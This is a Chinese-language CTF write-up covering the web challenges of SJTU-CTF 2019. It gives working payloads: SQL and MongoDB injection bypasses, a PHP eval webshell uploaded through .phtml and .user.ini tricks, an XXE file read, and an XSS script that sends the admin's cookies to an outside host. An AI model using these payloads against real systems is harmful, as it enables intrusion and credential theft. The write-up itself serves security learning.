SJTU-CTF 2019 WriteUp Web

Preface

第一次正经参加的 CTF 比赛,全程面向 Google 做题,最后混了个不错的成绩,但还是被各路大佬吊打

抽空把当时没做出来的题也研究了一下,加上原有的 WriteUp,凑出 Web, Crypto 和 Misc&Reverse 三篇文章。为什么没有 Pwn ?因为根本无从下手(

因为有数据收集的习惯,所以把大部分题目源文件都整理了一下放在 GitHub 上了

Basic Web

100 pts, 91 solved

(真正的签到题)

  1. 网页文字无有用信息,查看网页源码,发现一行注释:
1
<!-- You may try w3lc0me_t0_CTF.php -->
  1. 访问 w3lc0me_t0_CTF.php,得到如下信息:

0ops…
You are not admin. Are you are a hacker?

  1. 注意到 cookies 中有一条 admin=0,将 0 改为 1,得到如下信息:

Hello, admin.
Can you POST flag=0ops to me?

  1. 根据提示发送 POST 请求,参数为 flag=0ops,返回的网页源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>0ops</title>
</head>
<body>
<!-- 0ops{I_like_flag_WoW_Do_you} -->
<script>
window.location.href = "./w3lc0me_t0_CTF.php?Nonononono";
</script>
</body>
</html>

由于直接获取了源码,网页没有跳转,得到 flag: 0ops{I_like_flag_WoW_Do_you},如果网页发生跳转则显示以下信息(常规套路):

Sorry, your flag was slipped away.
QwQ

Baby Web

250 pts, 19 solved

  1. 进入网页,内容为 Do you know about robots? 查看robots.txt,发现Disallow: /admin_l0gin_page.php

  2. admin_l0gin_page.php 是个登陆页面,看起来需要 SQL 注入,经过试探发现过滤了or, and, (space), %20等关键词

  3. 官方发布 Hint1: No brute force to attack, do you know SQL Injection? But there are some filters. (废话)

  4. 官方发布 Hint2: The author left a backup file and didn’t delete it.(that is _.bak, _ is just a php file which you want to know its source code) ,得知有一个备份文件可以下载,获取到 admin_l0gin_page.php.bak

  5. admin_l0gin_page.php.bak 文件内容如下:

admin_l0gin_page.php.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
require_once 'config.php';

if(isset($_POST['username']) or isset($_POST['password'])){
$username = filter($_POST['username']);
$password = $_POST['password'];

$db = new mysqli($dbhost,$dbuser,$dbpass,"babyWeb");
if (!$db) {
die('Failed to connect to MySQL');
}

$sql = "SELECT password FROM `user` WHERE username='{$username}'";

if ($result = $db->query( $sql )) {
while ($row = $result->fetch_array(MYSQLI_ASSOC)){
if($row['password'] === $password){
/*
Login success!
*/
}
else
die("username or password error!");
}
echo "username or password error!";
$result->close();
} else {
die("db error!");
}

$db->close();
}
?>

注:官方最后公布的过滤函数如下

1
2
3
4
5
6
7
function filter($str) {
$filter = "/ |,|or|and|\/|\*/i";
if (preg_match($filter, $str)) {
die("Hacker!");
}
return $str;
}
  1. %0a字符绕过空格过滤,根据源码逻辑构造合适的 SQL 注入请求:
1
username='%0aunion%0aselect%0a'abc&password=abc`

最终生成的 SQL 语句为

1
SELECT password FROM `user` WHERE username='admin'%0aunion%0aselect%0a'abc'

返回的查询结果中包含 abc 这一字符串,因而成功通过验证,网页重定向至 admin_m4nage_page.php

注 1:%0a 为 urlencode 后的编码,需要直接发起请求,不能直接通过表单提交

注 2:官方答案中的 SQL 注入请求为 username=1'union(select('123'))#,同时使用括号作为分隔符并用 # 注释了后续语句

  1. admin_m4nage_page.php

设法利用上传漏洞,先编写 webshell: <?php eval($_GET['code']); ?>,并保存为文件

  1. 尝试上传,发现要求 HTTP Header 文件类型为图片,且会探测文件名中是否含有php(不区分大小写),查找资料得知 .phtml 扩展名可用
  1. Burp Suite 抓包更改文件名称上传文件:
  1. 利用 webshell 一路 ls ../ 终于发现一个名为 Th1s_1s_y0ur_flag_777777 的文件,cat 文件内容得到 flag: 0ops{Sometimes_robots_can_h3lp_U}
  1. 顺便还拿到了 admin_m4nage_page.php 的源码:
admin_m4nage_page.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
session_start();
error_reporting(0);
if($_SESSION['is_login']!== "admin") die("You are not admin.");
?>
<!DOCTYPE html>
<html>
<head>
<title>Manage page</title>
</head>
<body>
Hello admin, you can upload some pictures here.
<form action="" method="POST" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file"/>
<input type="submit" name="submit" value="upload" />
<?php
if(isset($_FILES["file"])) {
if(stristr($_FILES["file"]["name"], "php")) {
die("php is not allowed");
}
if(stristr($_FILES["file"]["name"], ".ht")) {
die(".ht is not allowed");
}
if ($_FILES["file"]["size"] < 20480) {
if($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/png" || $_FILES["file"]["type"] == "image/jpeg") {
if ($_FILES["file"]["error"] > 0) {
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else {
if (file_exists("admin_up1oad/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
}
else {
move_uploaded_file($_FILES["file"]["tmp_name"], "admin_up1oad/" . $_FILES["file"]["name"]);
echo "\n</br>Stored in: " . "admin_up1oad/" . $_FILES["file"]["name"];
}
}
}
else {
echo "file type error";
}
}
else {
echo "file need less than 20kb";
}
}
?>
</form>
</body>
</html>

Baby DB

250 pts, 13 solved

  1. 进入网页,直接给出了源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
if(isset($_POST["username"]) && isset($_POST["password"])){
if(login($_POST["username"],$_POST["password"])){
die("Good, can you find out my password?");
}
die("username or password error!");
}
else{
highlight_file(__FILE__);
}


function login($u,$p){
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$q = '{"username": "'.$u.'", "password": "'.$p.'"}';
$query = new MongoDB\Driver\Query(json_decode($q));
$cursor = $manager->executeQuery('babyDB.user', $query);

$data = [];
foreach($cursor as $doc) {
$data[] = $doc;
}
if (isset($data) && isset($data[0]->password)) {
return true;
}
return false;
}

?>

可见是 MongoDB 注入,注意要通过 json_decode 验证

  1. 现学现用,构造出 payload:
1
username=u", "username": {"$ne": "aaa"}, "password": "&password=p", "password": {"$ne": "aaa"}, "$comment": "

成功绕过验证,得到信息:

Good, can you find out my password?

说明 flag 应该在 password

  1. 构造 payload:
1
username=u", "username": {"$ne": "aaa"}, "password": "&password=p", "password": {"$gte": "0ops{"}, "$comment": "

password 进行 ASCII 盲注(可编写脚本实现),得到 flag: 0ops{mongoDB_1s_funny_@4f8ec02756a2b0c1a737bf2345},其中 $gte 为条件操作符,等同于 >= ,同理还有 $ne, $gt, $lt, $eq 等等

官方答案:构造 POST 请求

1
username=1&password=a", "password": {"$regex": "^0ops"}, "username": "admin

最终构造的查询为

1
2
3
4
5
6
{
"username": "1",
"password": "a",
"password": { "$regex": "^0ops" },
"username": "admin"
}

依靠正则匹配实现盲注,如果匹配成功则提示密码无误,否则提示密码错误

Upload Lab

250 pts, 10 solved

  1. 发现是一个上传文件的网页:
  1. 初步探测发现不能上传后缀含有 ‘ph’ 的文件 ,且文件内容中不能含有 <;,上传路径下有一个 index.php 文件

  2. 得到 Hint1: Do you know what is config file? ,联想到 .htaccess 然而已经被屏蔽,查找资料得知 PHP 也有类似于 php.ini 的配置文件 .user.ini,可放置于网站目录下

  3. 仔细查看可配置选项,最终选定 auto_append_file,即在每个文件末端追加内容

  4. 构造 .user.ini并上传:

.user.ini
1
2
display_errors=true
auto_append_file=/flag
  1. 访问 上传目录/index.php,发现文件内容已被自动追加在末尾,得到 flag: 0ops{uPl0aD_lAb_1s_s0_eZ}

赛后才得知 /flag 是我碰巧蒙对了文件名,光荣地成为了一个非预期解;预期解法应该是先获取 webshell 然后寻找 flag 文件:

.user.ini
1
2
display_errors=true
auto_append_file="php://filter/read=convert.base64-decode/resource=./shell.txt"

将需要追加到 index.php 末尾的 PHP 代码(需要包含 <?php)进行 base64 编码存储在 shell.txt 中,从而绕过了字符过滤,而 convert.base64-decode 将内容进行 base64 解码后还原为正常的 PHP 代码。

例如,<?php eval($_GET['code']); ?> 经过 base64 编码后写入 shell.txt 中:

shell.txt
1
PD9waHAgZXZhbCgkX0dFVFsnY29kZSddKTsgPz4=

访问 上传目录/index.php?code=echols /; 即可看到根目录下的 flag 文件

注意:.user.ini 中的双引号不可少,双引号包含的变量会被当作正常变量执行,而单引号包含的变量则会被当作字符串执行。

同时还能获得 upload.php 的源码:

upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["post"])) {
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<") !== FALSE) {
die("&lt; in contents!");
}
if (mb_strpos(file_get_contents($tmp_name), " ") !== FALSE || mb_strpos(file_get_contents($tmp_name), ";") !== FALSE) {
die("You cant fool me!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}

可以看到对上传的文件限制了大小、不允许内容中出现 <, ; 和空格,这样一来也避免了使用 <script language="php"> 代替 <?php 的攻击方法。

PHP 伪协议

PHP 伪协议是预期解法中的重点,在此补充一些相关知识。

file://

用于访问本地文件系统,不受 php.iniallow_url_fopenallow_url_include 的限制

e.g.:

  • file://./shell.txtfile://shell.txt (默认为相对路径)
  • file:///path/to/file.ext (第三个斜杠表示绝对路径)

php://filter

用于数据流打开时的筛选过滤,同样不受以上两种配置项的限制

e.g.:

  • php://filter/read=convert.base64-decode/resource=./shell.txt

  • readfile("php://filter/resource=http://www.example.com");

  • php://filter/read=string.toupper|string.rot13/resource=http://www.example.com

  • file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");

read 还可改为 write (写入到 resource 指定的文件中) 或省去(同时过滤读取/写入过程); convert.base64-encodeconvert.base64-decode 是 base64 编码和解码的过滤器

php://input

php://input 是可以访问请求的原始数据的只读流,可读取到 POST 请求的原始数据,并将原始数据作为 PHP 代码执行,受 allow_url_include 限制。

注:enctype=”multipart/form-data” 时 php://input 无效

data://

数据流封装器,受 allow_url_include 限制

用法:data://资源类型[;编码],内容

e.g.:

1
2
3
4
<?php
// prints "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>

zip://

zip 压缩流,可访问压缩文件中的文件,受 allow_url_fopen 限制

e.g.: zip://archive.zip#dir/file.txt

Ezxxe

150 pts, 24 solved

  1. 根据题目名称提示需要使用 XXE,从下载的源码中得知解析 xml 的地址为 /parse,构造 POST payload:
1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>
  1. 得到返回结果c38b07e91b0c15330e20693ed4443092
  1. 然而上面的字符串并不符合 flag 格式,思索许久猛然发现 如果 file:// 后的路径为目录,则返回的是目录文件列表。也就是说,flag 是个目录,上面的字符串不是文件内容而是文件名,果断更改路径为 file:///flag/c38b07e91b0c15330e20693ed4443092,得到真实的 flag: 0ops{0813bca99cf1210e176b125e5f1d3f1b}

Message Board

250 pts, 20 solved

An online message board service with some vulnerabilities. The admin is using Chrome 77 and flag is in cookies.

  1. 明显需要使用 XSS 攻击,代码长度有限制
  1. Report 给 admin 可以让 admin 浏览你的网页
  1. 对于如此坑爹的验证码,到网上寻找脚本,找到的 Python 脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits

def cmp_md5(substr, stop_event, str_len, start=0, size=10):
global CHARS

while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds.encode('utf8'))

if md5.hexdigest()[start: start + str_len] == substr:
print(rnds)
stop_event.set()

if __name__ == '__main__':
substr = sys.argv[1].strip()

start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0

str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]

for p in processes:
p.start()

for p in processes:
p.join()

脚本的第一个参数为目标字串,第二个参数为字串起始位置,通过生成 10 位随机字符串进行碰撞

  1. 发现 view.php 的网页源码中有 document.cookie = 'flag='; ,会清空 cookies

  2. 寻找阻止这条语句运行的方法,无果

  3. 尝试用 XMLHttpRequest 获取 view.phpResponse Header,发现会被 CORB 拦截

  4. 尝试嵌入 iframe,结果同上

  5. 官方发布 Hint2: _ _ _ _ _ _ _ _ _ _ will be removed in Chrome 78, which can be your friend for now

  6. 注意到 admin 使用的是 Chrome 77,查找资料得知上述工具为 XSS Auditor

  7. 了解到 XSS Auditor 的特性:会将同时出现在 URL 和网页源码中的内容视为 XSS 脚本阻止其运行

  8. 利用 XSS Auditor 的特性,在 URL 中增加参数 s=<script>document.cookie = 'flag=';,使 XSS Auditor 能将其识别并屏蔽

  9. 编写 XSS 脚本如下:

1
2
3
4
5
<script>
if(!location.href.includes("cookie"))
location += "&s=<script>document.cookie%20=%20\'flag=\';";
else window.location = "http://xssplatfrom/x.php?c=" + document.cookie;
</script>
  1. 将带有额外参数的 URL 提交给 admin,成功在 XSS 平台获取到 flag: 0ops{trick_the_deprecated_auditor_931a3e6e10ac0b40}

References

  1. 【CTF】MD5 截断比较
  2. 文件包含漏洞与 php 伪协议
  3. 谈一谈 php://filter 的妙用
Author

Googleplex

Posted on

Feb 11, 2020

Updated on

Feb 06, 2023

Licensed under

Comments